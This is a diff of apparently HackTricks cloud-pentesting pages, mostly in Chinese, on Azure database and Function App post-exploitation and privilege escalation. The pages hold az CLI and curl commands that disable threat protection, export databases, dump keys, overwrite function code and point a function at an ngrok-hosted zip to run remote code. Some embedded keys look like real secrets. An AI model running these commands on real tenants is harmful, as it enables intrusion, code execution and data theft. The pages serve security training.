-### "Microsoft.DBforMySQL/flexibleServers/databases/write" && "Microsoft.DBforMySQL/flexibleServers/databases/read"
+### `Microsoft.DBforMySQL/flexibleServers/databases/write` && `Microsoft.DBforMySQL/flexibleServers/databases/read`
-拥有此权限后,您可以在 Azure 的 MySQL Flexible Server 实例中创建新数据库。虽然此操作本身不会修改现有资源,但过度或未经授权的数据库创建可能会导致资源消耗或服务器的潜在滥用。
-
-{% code overflow="wrap" %}
+拥有此权限,您可以在 Azure 的 MySQL Flexible Server 实例中创建新数据库。虽然此操作本身不会修改现有资源,但过度或未经授权的数据库创建可能导致资源消耗或服务器的潜在滥用。
```bash
az mysql flexible-server db create \
--server-name \
--resource-group \
--database-name
```
-{% endcode %}
+### `Microsoft.DBforMySQL/flexibleServers/backups/write`
-### "Microsoft.DBforMySQL/flexibleServers/backups/write"
-
-拥有此权限,您可以在 Azure 上为 MySQL Flexible Server 实例启动备份的创建。这使用户能够生成按需备份,这对于在特定时间点保存数据非常有用。
-
-{% code overflow="wrap" %}
+通过此权限,您可以在 Azure 上为 MySQL Flexible Server 实例启动备份的创建。这使用户能够生成按需备份,这对于在特定时间点保留数据非常有用。
```bash
az mysql flexible-server backup create \
--name \
--resource-group
--backup-name
```
-{% endcode %}
-
-### "Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write"
+### `Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write`
通过此权限,您可以配置或更新 Azure 上 MySQL Flexible Server 实例的高级威胁保护 (ATP) 设置。这允许启用或禁用旨在检测和响应异常活动及潜在威胁的安全功能。
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server threat-protection-policy update \
--name \
--resource-group \
--state
```
-{% endcode %}
-
-### "Microsoft.DBforMySQL/flexibleServers/firewallRules/write"
+### `Microsoft.DBforMySQL/flexibleServers/firewallRules/write`
通过此权限,您可以为 Azure 上的 MySQL Flexible Server 实例创建或修改防火墙规则。这允许控制哪些 IP 地址或范围可以访问服务器。未经授权或不当使用此权限可能会使服务器暴露于不必要或恶意的访问。
-
-{% code overflow="wrap" %}
```bash
# Create Rule
az mysql flexible-server firewall-rule create \
@@ -70,71 +56,52 @@ az mysql flexible-server firewall-rule update \
--start-ip-address \
--end-ip-address
```
-{% endcode %}
+### `Microsoft.DBforMySQL/flexibleServers/resetGtid/action`
-### "Microsoft.DBforMySQL/flexibleServers/resetGtid/action"
-
-拥有此权限,您可以重置 Azure 上 MySQL Flexible Server 实例的 GTID(全局事务标识符)。重置 GTID 将使所有在重置操作之前进行的自动备份、按需备份和地理备份失效。GTID 重置后,如果所选恢复时间在 GTID 重置时间之前,您将无法使用最快恢复点或自定义恢复点执行 PITR(时间点恢复)。成功的地理恢复仅在 5 天后才可能进行。
-
-{% code overflow="wrap" %}
+通过此权限,您可以重置 Azure 上 MySQL Flexible Server 实例的 GTID(全局事务标识符)。重置 GTID 将使所有在重置操作之前进行的自动备份、按需备份和地理备份失效。重置 GTID 后,如果所选恢复时间在 GTID 重置时间之前,您将无法使用最快恢复点或自定义恢复点执行 PITR(时间点恢复)。成功的地理恢复仅在 5 天后才可能。
```bash
az mysql flexible-server reset-gtid \
--name \
--resource-group \
--gtid-set
```
-{% endcode %}
-
-### "Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action"
+### `Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action`
通过此权限,您可以更新 Azure 上 MySQL Flexible Server 实例的配置设置。这允许自定义服务器参数,例如性能调优、安全配置或操作设置。您可以批量更新以下参数:audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors 和 max_connections。
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server parameter set-batch \
--resource-group \
--server-name \
--args max_connections=
```
-{% endcode %}
-
-### "Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
+### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
通过此权限,您可以将用户分配的托管身份分配给 MySQL 灵活服务器。
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server identity assign \
--resource-group \
--server-name \
--identity
```
-{% endcode %}
+### `Microsoft.DBforMySQL/flexibleServers/stop/action`
-### "Microsoft.DBforMySQL/flexibleServers/stop/action"
-
-拥有此权限,您可以停止 Azure 上的 PostgreSQL Flexible Server 实例。停止服务器可能会导致临时服务中断,影响依赖于数据库的应用程序和用户。
-
-{% code overflow="wrap" %}
+通过此权限,您可以停止 Azure 上的 PostgreSQL Flexible Server 实例。停止服务器可能会导致临时服务中断,影响依赖于数据库的应用程序和用户。
```bash
az mysql flexible-server stop \
--name \
--resource-group
```
-{% endcode %}
-### "Microsoft.DBforMySQL/flexibleServers/start/action"
+### `Microsoft.DBforMySQL/flexibleServers/start/action`
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
-{% code overflow="wrap" %}
```bash
az mysql flexible-server start \
--name \
--resource-group
```
-{% endcode %}
-### "*/delete"
+### `*/delete`
With this permissions you can delete resources related to mysql server in Azure such as server, firewalls, managed identities or configurations
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md
index 4863e1279..c273c45f9 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md
@@ -5,54 +5,40 @@
## PostgreSQL 数据库后期利用
有关 PostgreSQL 数据库的更多信息,请查看:
-{% content-ref url="../az-services/az-postgresql.md" %}
-[az-postgresql.md](../az-services/az-postgresql.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-postgresql.md
+{{#endref}}
-### "Microsoft.DBforPostgreSQL/flexibleServers/databases/write" && "Microsoft.DBforPostgreSQL/flexibleServers/databases/read"
+### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read`
-拥有此权限后,您可以在 Azure 的 Postgres Flexible Server 实例中创建新数据库。虽然此操作本身不会修改现有资源,但过度或未经授权的数据库创建可能会导致资源消耗或服务器的潜在滥用。
-
-{% code overflow="wrap" %}
+拥有此权限,您可以在 Azure 的 Postgres Flexible Server 实例中创建新数据库。虽然此操作本身不会修改现有资源,但过度或未经授权的数据库创建可能导致资源消耗或服务器的潜在滥用。
```bash
az postgres flexible-server db create \
--server-name \
--resource-group \
--database-name
```
-{% endcode %}
+### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write`
-### "Microsoft.DBforPostgreSQL/flexibleServers/backups/write"
-
-拥有此权限,您可以在 Azure 上为 Postgres Flexible Server 实例启动备份的创建。这使用户能够生成按需备份,这对于在特定时间点保留数据非常有用。
-
-{% code overflow="wrap" %}
+通过此权限,您可以在 Azure 上为 Postgres Flexible Server 实例启动备份的创建。这使用户能够生成按需备份,这对于在特定时间点保留数据非常有用。
```bash
az postgres flexible-server backup create \
--name \
--resource-group
--backup-name
```
-{% endcode %}
+### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read`
-### "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write" && "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read"
-
-通过此权限,您可以配置或更新 Azure 上 Postgres Flexible Server 实例的高级威胁保护 (ATP) 设置。这允许启用或禁用旨在检测和响应异常活动及潜在威胁的安全功能。
-
-{% code overflow="wrap" %}
+通过此权限,您可以配置或更新 Azure 上 Postgres Flexible Server 实例的高级威胁防护 (ATP) 设置。这允许启用或禁用旨在检测和响应异常活动及潜在威胁的安全功能。
```bash
az postgres flexible-server threat-protection-policy update \
--name \
--resource-group \
--state
```
-{% endcode %}
+### `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write`, `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read`
-### "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write", "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read"
-
-通过此权限,您可以创建或修改 Azure 上 Postgres Flexible Server 实例的防火墙规则。这允许控制哪些 IP 地址或范围可以访问服务器。未经授权或不当使用此权限可能会使服务器暴露于不必要或恶意的访问。
-
-{% code overflow="wrap" %}
+通过此权限,您可以为 Azure 上的 Postgres Flexible Server 实例创建或修改防火墙规则。这允许控制哪些 IP 地址或范围可以访问服务器。未经授权或不当使用此权限可能会使服务器暴露于不必要或恶意的访问。
```bash
# Create Rule
az postgres flexible-server firewall-rule create \
@@ -70,13 +56,9 @@ az postgres flexible-server firewall-rule update \
--start-ip-address \
--end-ip-address
```
-{% endcode %}
-
-### "Microsoft.DBforPostgreSQL/flexibleServers/configurations/write" && "Microsoft.DBforPostgreSQL/flexibleServers/configurations/read"
+### `Microsoft.DBforPostgreSQL/flexibleServers/configurations/write` && `Microsoft.DBforPostgreSQL/flexibleServers/configurations/read`
通过此权限,您可以更新 Azure 上 Postgres Flexible Server 实例的配置设置。这允许自定义服务器参数,例如性能调优、安全配置或操作设置。
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server parameter set \
--resource-group \
@@ -84,45 +66,36 @@ az postgres flexible-server parameter set \
--name \
--value
```
-{% endcode %}
+### `Microsoft.DBforPostgreSQL/flexibleServers/stop/action`
-### "Microsoft.DBforPostgreSQL/flexibleServers/stop/action"
-
-拥有此权限,您可以停止 Azure 上的 PostgreSQL Flexible Server 实例。停止服务器可能会导致临时服务中断,影响依赖于数据库的应用程序和用户。
-
-{% code overflow="wrap" %}
+通过此权限,您可以停止 Azure 上的 PostgreSQL Flexible Server 实例。停止服务器可能会导致临时服务中断,影响依赖于数据库的应用程序和用户。
```bash
az postgres flexible-server stop \
--name \
--resource-group
```
-{% endcode %}
-### "Microsoft.DBforPostgreSQL/flexibleServers/start/action"
+### `Microsoft.DBforPostgreSQL/flexibleServers/start/action`
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
-{% code overflow="wrap" %}
```bash
az postgres flexible-server start \
--name \
--resource-group
```
-{% endcode %}
-### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
+### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
With this permission, you can assign a user-assigned managed identity to postgres flexible servers.
-{% code overflow="wrap" %}
```bash
az postgres flexible-server identity assign \
--resource-group \
--server-name \
--identity
```
-{% endcode %}
-### "*/delete"
+### `*/delete`
With this permissions you can delete resources related to postgres server in Azure such as server, firewalls, managed identities or configurations
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md
index c02e47c10..3316856dc 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md
@@ -10,7 +10,7 @@
../az-services/az-sql.md
{{#endref}}
-### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write"
+### `Microsoft.Sql/servers/databases/read`, `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/databases/write`
拥有这些权限后,攻击者可以在被攻陷的环境中创建和更新数据库。这种后期利用活动可能允许攻击者添加恶意数据、修改数据库配置或插入后门以进一步保持持久性,可能会干扰操作或启用其他恶意行为。
```bash
@@ -20,7 +20,7 @@ az sql db create --resource-group --server --name
# Update Database
az sql db update --resource-group --server --name --max-size
```
-### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read"
+### `Microsoft.Sql/servers/elasticPools/write` && `Microsoft.Sql/servers/elasticPools/read`
通过这些权限,攻击者可以在被攻陷的环境中创建和更新 elasticPools。这种后期利用活动可能允许攻击者添加恶意数据、修改数据库配置或插入后门以实现进一步的持久性,可能会干扰操作或启用其他恶意行为。
```bash
@@ -40,7 +40,7 @@ az sql elastic-pool update \
--dtu \
--tags
```
-### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write"
+### `Microsoft.Sql/servers/auditingSettings/read` && `Microsoft.Sql/servers/auditingSettings/write`
通过此权限,您可以修改或启用 Azure SQL Server 上的审计设置。这可能允许攻击者或授权用户操纵审计配置,从而潜在地掩盖痕迹或将审计日志重定向到他们控制的位置。这可能会妨碍安全监控或使其能够跟踪操作。注意:要使用 Blob 存储为 Azure SQL Server 启用审计,您必须附加一个可以保存审计日志的存储帐户。
```bash
@@ -51,16 +51,16 @@ az sql server audit-policy update \
--storage-account \
--retention-days 7
```
-### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write"
+### `Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read`, `Microsoft.Sql/servers/connectionPolicies/read` && `Microsoft.Sql/servers/connectionPolicies/write`
-通过此权限,您可以修改 Azure SQL Server 的连接策略。此功能可以被利用来启用或更改服务器级连接设置。
+通过此权限,您可以修改 Azure SQL Server 的连接策略。此功能可被利用来启用或更改服务器级连接设置。
```bash
az sql server connection-policy update \
--server \
--resource-group \
--connection-type
```
-### "Microsoft.Sql/servers/databases/export/action"
+### `Microsoft.Sql/servers/databases/export/action`
拥有此权限,您可以将数据库从 Azure SQL Server 导出到存储帐户。具有此权限的攻击者或授权用户可以通过将其导出到他们控制的位置来提取数据库中的敏感数据,从而带来重大数据泄露风险。了解存储密钥以便能够执行此操作非常重要。
```bash
@@ -74,7 +74,7 @@ az sql db export \
--admin-password
```
-### "Microsoft.Sql/servers/databases/import/action"
+### `Microsoft.Sql/servers/databases/import/action`
拥有此权限,您可以将数据库导入到 Azure SQL Server。攻击者或拥有此权限的授权用户可能会上传恶意或被篡改的数据库。这可能导致控制敏感数据,或通过在导入的数据库中嵌入有害脚本或触发器。此外,您可以将其导入到您自己的 Azure 服务器。注意:服务器必须允许 Azure 服务和资源访问该服务器。
```bash
@@ -85,6 +85,6 @@ az sql db import --admin-user \
--resource-group \
--storage-key-type SharedAccessKey \
--storage-key \
---storage-uri "https://.blob.core.windows.net/bacpac-container/MyDatabase.bacpac"
+--storage-uri `https://.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`
```
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md
index 670095c32..d614fcada 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md
@@ -5,15 +5,13 @@
## CosmosDB Privesc
有关 SQL 数据库的更多信息,请查看:
-{% content-ref url="../az-services/az-cosmosDB.md" %}
-[az-cosmosDB.md](../az-services/az-cosmosDB.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-cosmosDB.md
+{{#endref}}
-### ("Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read") & ("Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read")
+### (`Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read`) & (`Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read`)
通过这些权限,您可以提升特权,给予用户执行查询和连接到数据库的权限。首先创建一个角色定义,赋予必要的权限和范围。
-
-{% code overflow="wrap" %}
```bash
az cosmosdb sql role definition create \
--account-name \
@@ -36,11 +34,7 @@ az cosmosdb sql role definition create \
]
}'
```
-{% endcode %}
-
-之后,将定义的分配给用户。之后,该用户可以使用 DefaultAzureCredential() 连接方法来执行查询。
-
-{% code overflow="wrap" %}
+之后,定义的分配被给予一个用户。在此之后,该用户可以使用 DefaultAzureCredential() 连接方法来执行查询。
```bash
az cosmosdb sql role assignment create \
--account-name \
@@ -49,19 +43,12 @@ az cosmosdb sql role assignment create \
--principal-id \
--scope "/"
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/listKeys/action"
+### `Microsoft.DocumentDB/databaseAccounts/listKeys/action`
通过此权限,您可以检索 Azure Cosmos DB 帐户的主密钥和次密钥。这些密钥提供对数据库帐户及其资源的完全访问权限,使您能够执行数据读取、写入和配置更改等操作。
-
-{% code overflow="wrap" %}
```bash
az cosmosdb keys list \
--name \
--resource-group
```
-{% endcode %}
-
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
index 2c0f3cac1..e0982ad16 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
@@ -14,13 +14,13 @@
如果有权限读取存储函数数据的存储帐户中的容器,可以找到**不同的容器**(自定义或预定义名称),这些容器可能包含**函数执行的代码**。
-一旦找到函数代码所在的位置,如果对其具有写入权限,可以使函数执行任何代码,并提升到附加到函数的托管身份的权限。
+一旦找到函数代码的位置,如果对其具有写入权限,可以使函数执行任何代码,并提升到附加到函数的托管身份的权限。
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` 和 `WEBSITE_CONTENTSHARE`)
函数的代码通常存储在文件共享中。拥有足够的访问权限后,可以修改代码文件并**使函数加载任意代码**,从而提升到附加到函数的托管身份的权限。
-此部署方法通常配置设置**`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**和**`WEBSITE_CONTENTSHARE`**,您可以从
+此部署方法通常配置设置**`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**和**`WEBSITE_CONTENTSHARE`**,您可以从
```bash
az functionapp config appsettings list \
--name \
@@ -29,7 +29,7 @@ az functionapp config appsettings list \
这些配置将包含 **Storage Account Key**,函数可以使用它来访问代码。
> [!CAUTION]
-> 如果有足够的权限连接到文件共享并 **修改正在运行的脚本**,则可以在函数中执行任意代码并提升权限。
+> 只要有足够的权限连接到文件共享并 **修改正在运行的脚本**,就可以在函数中执行任意代码并提升权限。
以下示例使用 macOS 连接到文件共享,但建议还查看以下页面以获取有关文件共享的更多信息:
@@ -47,7 +47,7 @@ open "smb://.file.core.windows.net/"
```
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
-在函数应用使用的存储帐户容器的文件夹 `function-releases` 中,通常会发现 **zip 发布**。
+通常可以在函数应用使用的存储帐户容器的文件夹 `function-releases` 中找到 **zip 发布**,该容器通常被称为 `function-releases`。
通常,这种部署方法会在以下位置设置 `WEBSITE_RUN_FROM_PACKAGE` 配置:
```bash
@@ -66,7 +66,7 @@ az functionapp config appsettings list \
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` 和 `WEBSITE_CONTENTSHARE`)
-拥有读取存储函数数据的存储帐户内容器的权限,可以找到容器 **`scm-releases`**。在这里可以找到最新的 **Squashfs 文件系统文件格式** 的发布,因此可以读取函数的代码:
+拥有读取存储帐户中存储函数数据的容器的权限,可以找到容器 **`scm-releases`**。在这里可以找到最新的发布,格式为 **Squashfs 文件系统文件格式**,因此可以读取函数的代码:
```bash
# List containers inside the storage account of the function app
az storage container list \
@@ -98,7 +98,7 @@ unsquashfs -l "/tmp/scm-latest-.zip"
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-.zip
```
-可以在存储帐户的容器 **`azure-webjobs-secrets`** 中找到存储的 **master 和 functions keys**,该容器位于 **``** 文件夹内的 JSON 文件中。
+可以在存储帐户的容器 **`azure-webjobs-secrets`** 中找到存储的 **master 和 functions keys**,这些密钥位于 **``** 文件夹中的 JSON 文件内。
> [!CAUTION]
> 只要有足够的权限连接到 **包含 zip 扩展文件的 blob 容器**(实际上是 **`squashfs`**),就可以在 Function 中执行任意代码并提升权限。
@@ -116,13 +116,13 @@ az storage blob upload \
--file /tmp/scm-latest-.zip \
--overwrite
```
-### Microsoft.Web/sites/host/listkeys/action
+### `Microsoft.Web/sites/host/listkeys/action`
-此权限允许列出指定函数的功能、主密钥和系统密钥,但不包括主机密钥:
+此权限允许列出指定函数的功能密钥、主密钥和系统密钥,但不包括主机密钥:
```bash
az functionapp keys list --resource-group --name
```
-使用主密钥也可以通过以下 URL 获取源代码:
+使用主密钥也可以获取源代码,URL 如下:
```bash
# Get "script_href" from
az rest --method GET \
@@ -133,7 +133,7 @@ curl "?code="
## Python example:
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
```
-并且要**更改正在执行的代码**在函数中:
+并且要**更改正在函数中执行的代码**为:
```bash
# Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example
@@ -143,19 +143,19 @@ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwro
-H "If-Match: *" \
-v
```
-### Microsoft.Web/sites/functions/listKeys/action
+### `Microsoft.Web/sites/functions/listKeys/action`
此权限允许获取指定函数的主密钥:
```bash
az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01"
```
-### Microsoft.Web/sites/host/functionKeys/write
+### `Microsoft.Web/sites/host/functionKeys/write`
此权限允许创建/更新指定函数的函数密钥:
```bash
az functionapp keys set --resource-group --key-name --key-type functionKeys --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
-### Microsoft.Web/sites/host/masterKey/write
+### `Microsoft.Web/sites/host/masterKey/write`
此权限允许为指定的函数创建/更新主密钥:
```bash
@@ -164,13 +164,13 @@ az functionapp keys set --resource-group --key-name --key
> [!CAUTION]
> 请记住,使用此密钥您还可以访问源代码并按前面所述进行修改!
-### Microsoft.Web/sites/host/systemKeys/write
+### `Microsoft.Web/sites/host/systemKeys/write`
-此权限允许为指定的函数创建/更新系统功能密钥:
+此权限允许为指定的函数创建/更新系统函数密钥:
```bash
az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
-### Microsoft.Web/sites/config/list/action
+### `Microsoft.Web/sites/config/list/action`
此权限允许获取函数的设置。在这些配置中,可能会找到默认值 **`AzureWebJobsStorage`** 或 **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**,其中包含一个 **访问函数的 blob 存储的帐户密钥,具有完全权限**。
```bash
@@ -181,9 +181,9 @@ az functionapp config appsettings list --name --resource-group /resourceGroups//providers/Microsoft.Web/sites//config/publishingcredentials/list?api-version=2018-11-01"
```
-### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
+### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
-这些权限允许列出函数的配置值,如我们之前所见,并且**修改这些值**。这很有用,因为这些设置指示了要在函数内部执行的代码的位置。
+这些权限允许列出函数的配置值,如我们之前所见,并且**修改这些值**。这很有用,因为这些设置指示要在函数内部执行的代码的位置。
因此,可以设置设置的值**`WEBSITE_RUN_FROM_PACKAGE`**,指向包含要在Web应用程序内部执行的新代码的URL zip文件:
@@ -205,7 +205,7 @@ ngrok http 8000
```
- 修改函数,保留之前的参数,并在最后添加配置 **`WEBSITE_RUN_FROM_PACKAGE`**,指向包含代码的 **zip** 的 URL。
-以下是我的 **自定义设置,您需要更改为您自己的值**,请注意最后的值 `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`,这是我托管应用程序的地方。
+以下是我的 **自定义设置,您需要更改值以适应您的设置**,请注意最后的值 `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`,这就是我托管应用程序的地方。
```bash
# Modify the function
az rest --method PUT \
@@ -213,9 +213,9 @@ az rest --method PUT \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
```
-### Microsoft.Web/sites/hostruntime/vfs/write
+### `Microsoft.Web/sites/hostruntime/vfs/write`
-拥有此权限后,可以通过网络控制台(或通过以下API端点)**修改应用程序的代码**:
+通过此权限,可以**通过网络控制台(或通过以下 API 端点)修改应用程序的代码**:
```bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
@@ -224,7 +224,7 @@ az rest --method PUT \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
```
-### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
+### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
此权限允许列出所有发布配置文件,这些配置文件基本上包含 **基本身份验证凭据**:
```bash
@@ -242,7 +242,7 @@ az functionapp deployment user set \
```
- 如果**REDACTED**凭据
-如果您看到这些凭据是**REDACTED**,那是因为您**需要启用SCM基本身份验证选项**,为此您需要第二个权限(`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write:`)
+如果您看到这些凭据是**REDACTED**,那是因为您**需要启用SCM基本身份验证选项**,为此您需要第二个权限(`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
```bash
# Enable basic authentication for SCM
az rest --method PUT \
@@ -275,7 +275,7 @@ zip function_app.zip function_app.py # Your code in function_app.py
curl -u ':' -X POST --data-binary "@" \
https://.scm.azurewebsites.net/api/zipdeploy
```
-_请注意,**SCM 用户名** 通常是字符 "$" 后跟应用程序的名称,因此:`$`。_
+_请注意,**SCM 用户名** 通常是字符 "$" 后跟应用名称,因此:`$`。_
您还可以通过 `https://.scm.azurewebsites.net/BasicAuth` 访问网页。
@@ -299,36 +299,27 @@ put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and depl
```
_请注意,**FTP 用户名** 通常格式为 \\\$\。_
-### Microsoft.Web/sites/publish/Action
+### `Microsoft.Web/sites/hostruntime/vfs/read`
-根据 [**文档**](https://github.com/projectkudu/kudu/wiki/REST-API#command),此权限允许在 SCM 服务器内部**执行命令**,这可能用于修改应用程序的源代码:
-```bash
-az rest --method POST \
---resource "https://management.azure.com/" \
---url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
---body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug
-```
-### Microsoft.Web/sites/hostruntime/vfs/read
-
-此权限允许通过 VFS **读取应用的源代码**:
+此权限允许通过 VFS **读取应用程序的源代码**:
```bash
az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
-### Microsoft.Web/sites/functions/token/action
+### `Microsoft.Web/sites/functions/token/action`
-拥有此权限可以[获取 **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01),该令牌可以用于检索 **master key**,从而访问和修改函数的代码:
